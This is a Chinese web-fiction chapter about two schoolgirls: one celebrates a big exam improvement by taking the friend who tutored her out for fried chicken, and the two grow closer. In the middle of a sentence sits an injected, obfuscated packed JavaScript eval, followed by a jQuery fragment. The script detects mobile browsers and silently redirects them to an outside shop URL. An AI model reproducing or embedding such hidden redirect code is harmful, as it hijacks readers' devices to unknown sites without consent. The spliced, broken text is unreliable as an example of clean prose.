月考成绩出来那天是周三，十一月末，天阴沉沉的，像是憋着一场雪。
班主任抱着成绩单走进教室的时候，右楠穗正在最后一排转笔。笔杆在她指间翻来翻去，转了两圈掉在桌上，捡起来再转，再掉。她今天有点坐不住，说不清为什么，腿一直想往外走。手指在桌沿敲了两下，咚，咚，跟她给宁杳的暗号一个节奏。
前排的宁杳坐得很直，握着笔在写什么。但她写得很慢，像是耳朵在等什么。
"这次月考，"班主任推了推眼镜，"我要特别表扬一位同学。进步非常大。从年级一百三十七名，进步到了八十四名，上升了整整五十三位——"
班主任的目光投向了教室后排。
"右楠穗。"
全班安静了一秒。然后掌声稀稀拉拉地响起来，很快变得整齐，噼里啪啦的像一阵骤雨。
右楠穗的笔从指间滑掉了。她抬头看着讲台上的人，有点没反应过来。五十三名。她算了一下，一个多月，从一百三十七到八十四。她低头看了一眼桌上摊开的那三页数学提纲——边角已经被她翻卷了，上面盖满了她的笔迹和草稿，密密麻麻的，像一场她打了一场苦仗但赢了的小战役。
她没看讲台，目光越过前面所有人的头顶，落在第三排靠过道那个位置上。
宁杳低着头，手里的笔还在写，但写的内容完全不对——她在英语作文格里反复写同一个单词。progress。写了三遍，又用铅笔在旁边画了一朵小花。
右楠穗看着她耳朵尖上那一抹熟悉的红，嘴角翘了起来。她没憋住，笑了。
全班还在鼓掌。班主任又说了什么，关于"继续保持""不要松懈""下一次争取进前五十"。右楠穗一个字都没听进去。她隔着五排课桌的距离，看着宁杳那只越写越乱的笔，忽然很想做一件事。
她撕了一张草稿纸，飞快地写了一行字，叠成一个小小的方块，攥在手心里。
下课铃响之后，右楠穗在座位上坐了一会儿。她看着宁杳被同桌拉去问成绩排名，看着宁杳侧着头说话、笑了一下、点了点头。她等到宁杳身边的人走散了，才从座位上站起来，经过宁杳座位的时候，手垂在身侧，那个纸方块从她掌心里滑落，轻轻落在了宁杳摊开的课本上。
宁杳低头看了一眼纸方块，又抬头看了一眼已经走到门口的右楠穗的背影。她把纸方块展开，上面只有一行字。
放学别走。校门口等你。炸鸡。
宁杳把纸条压进课本里，嘴角压了压，没压住。她转头看了一眼门口，右楠穗已经不见了。她低头拿起笔继续写刚才没写完的题，落笔的时候指节还是抖的。
放学铃响的时候天已经暗下来了。十一月底的傍晚黑得早，五点半天就灰蒙蒙地压下来，路灯还没全亮，校门口的人流稀稀拉拉的。
宁杳背着书包走到校门口的时候，看见右楠穗靠在门卫室旁边的围墙上，单肩挎着书包，手插在兜里，一条腿屈起来踩着墙根。她偏着头在看手机，屏幕的光照在她的脸上，把眉骨的轮廓照得清晰分明。
宁杳走过去了。她走到右楠穗面前的时候停了一下，不知道说什么，就站着。
右楠穗听见动静，抬头看她。手机屏幕还没关，光从下面打上来把她鼻梁下方的阴影拉得很长。她看着宁杳，笑了一下。
"走。"
宁杳跟在她身边，两个人并肩走在校门外那条人行道上。路边的梧桐叶子落光了，光秃秃的枝桠在天幕上划出细细的裂纹。十一月的风贴着地面扫过来，宁杳缩了一下脖子，把校服领子竖了起来。
右楠穗偏头看了她一眼，没说话，但走路的步子往宁杳那边偏了几寸。两个人的肩膀之间只剩半拳的距离。宁杳的手垂在身侧，右楠穗的手也垂在身侧，两只手之间的距离越来越近，近到宁杳能感觉到右楠穗手背散出来的温热。
她不敢动。她怕一动，这个距离就没了。
炸鸡店在校门外那条街拐角的第二条巷子里，开了很多年，墙上贴满了附近学校学生的留言贴纸，彩色的一层叠一层，像时间的年轮。右楠穗推门进去的时候门上的风铃响了一声，脆脆的。
她点了一份双人套餐，找了个靠里的卡座坐下来。卡座的椅子是墨绿色的硬皮面，坐上去凉凉的。宁杳在她对面坐下来，把书包放在脚边，低头看着桌面上贴的一张便利贴，上面写着"某某和某某永远在一起"，字迹幼稚，被油渍洇花了一半。
右楠穗顺着她目光看了一眼那张便利贴，笑了一声没说什么。
炸鸡端上来的时候冒着热气，金黄色的皮上泛着油光，旁边配了一小碟年糕和两杯可乐。右楠穗把一杯可乐推到宁杳面前，自己拿了另一杯，插进吸管喝了一口。
"你……"宁杳拿起可乐杯，指尖碰着杯壁上的冷凝水，冰冰凉凉的，"那个，进步了五十三名。"
"嗯。"
"你高兴吗？"
右楠穗低头拿了一块炸鸡，咬了一口，嚼了两下咽下去。她舔了一下嘴角沾的油，抬眼看了宁杳一下。
"你高兴吗？"
宁杳被问住了。她眨了眨眼，耳朵又红了。她低头也拿了一块炸鸡，小口咬了一下，脆皮在齿间碎开的声音很轻。
"我高兴，"她说，声音闷闷的，"高兴死了。"
右楠穗又笑了。这回她的酒窝全出来了，左边一个右边一个，眼睛弯成两道浅浅的弧。她拿起可乐杯碰了一下宁杳的可乐杯，玻璃碰玻璃，一声清响。
"那这顿是谢你的。"
宁杳抬起头："谢我什么？"
右楠穗放下可乐杯，从书包里翻出那三页被翻得皱巴巴的数学提纲，摊开放在桌面上。提纲的边角已经卷曲了，每一道题旁边的空白处都写满了右楠穗的笔迹。有的打勾，有的画叉，打叉的旁边又用红笔订正过。
"谢你说'问我就行'的那句话。"右楠穗把提纲推回去，推到宁杳面前。"我记住了。所以以后还会问你。你可以一直当这个唯一能被我问的人。"
宁杳低头看着那三页纸。她看见右楠穗在每一道做对的题旁边都画了一颗小小的星星，五角星，画得很认真，每颗的大小都差不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716602|208532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多。
"你画的？"她问。
"嗯。做对了就奖励自己一颗。"
宁杳伸手碰了一下其中一颗星星。铅笔画的，细细的线条，被她指腹一蹭稍微晕开了一点。她看着那三页纸上密密麻麻的过程、圈点、批注——右楠穗花了不知道多少个晚上在写这些，写到纸都快破了。
她的鼻子忽然有点酸。她低头咬了一大口炸鸡，用力嚼，把那股酸味压下去。
"那你下次月考，"宁杳的声音被鸡肉堵得有点含糊，"再进步的话，我请你。"
右楠穗看着她鼓着腮帮子嚼炸鸡的样子，嘴角翘得压不住。她什么也没说，只是把可乐杯又拿起来，碰了一下宁杳的杯子。这次轻了一点，像怕碰碎了什么。
两个人吃完了炸鸡，从店里走出来的时候巷子里的路灯已经全亮了。暖黄色的光把两个人的影子拉长又缩短，从一盏灯底下走到下一盏灯底下，影子就变一次方向。
宁杳走在右边，右楠穗走在左边。走到巷子口的时候右楠穗忽然停下来，宁杳也跟着停下来。两个人站在路灯底下，光从头顶洒下来，把宁杳的睫毛影子投在颧骨上，细细密密的一排。
"宁杳。"右楠穗叫她。
"嗯？"
"你问过我好多次为什么。"
宁杳看着她，没有说话。
"为什么送你牛奶，为什么帮你修车，为什么生日翻墙买蛋糕，"右楠穗把双手插进兜里，仰头看了一眼路灯，又低下头看着宁杳，"我每次都跟你说顺手。"
宁杳的呼吸忽然变得很轻。
"但这次我不想说顺手的。"右楠穗看着她，眼睛里有路灯的光，也有别的什么。"你写那三页纸的时候，有没有想过——你为什么要写？"
宁杳握着书包带子的手紧了紧。
"……我没想过。"
"那你现在想。"
路灯底下安静了几秒。风把巷子口一张废纸吹得翻了个跟斗，卷到墙角贴住了。远处有汽车喇叭响了一声，很远，像隔着一层水传来。
宁杳抬起头，看着右楠穗的眼睛。
"我想的是，"她的声音轻轻的，但一个字都没断，"你进步了五十三名。你高兴。我也高兴。就这么简单。"
右楠穗看了她几秒钟。然后她低下头，脚尖踢了一下地上的一颗小石子，石子滚出去几步远，停在下水道井盖边上。
"好。"她说，声音里带着一种宁杳从没听过的柔软，"简单也行。下次月考进步了，我再请一次。"
"那如果没进步呢？"
右楠穗抬起头，朝她笑了一下。
"没进步，也请。换个理由就行。"
宁杳看着她，忽然觉得这个十一月底的晚上不太冷了。校服领子还竖着，但那股风刮过来的时候好像被什么东西挡了一下，变暖了一点。
她偏过头，往路灯的方向蹭了半步。两个人的肩膀终于碰在了一起。碰了一下，很短，像是不小心的。但谁都没有躲开。
那一小片肩膀相触的地方，暖得不像话。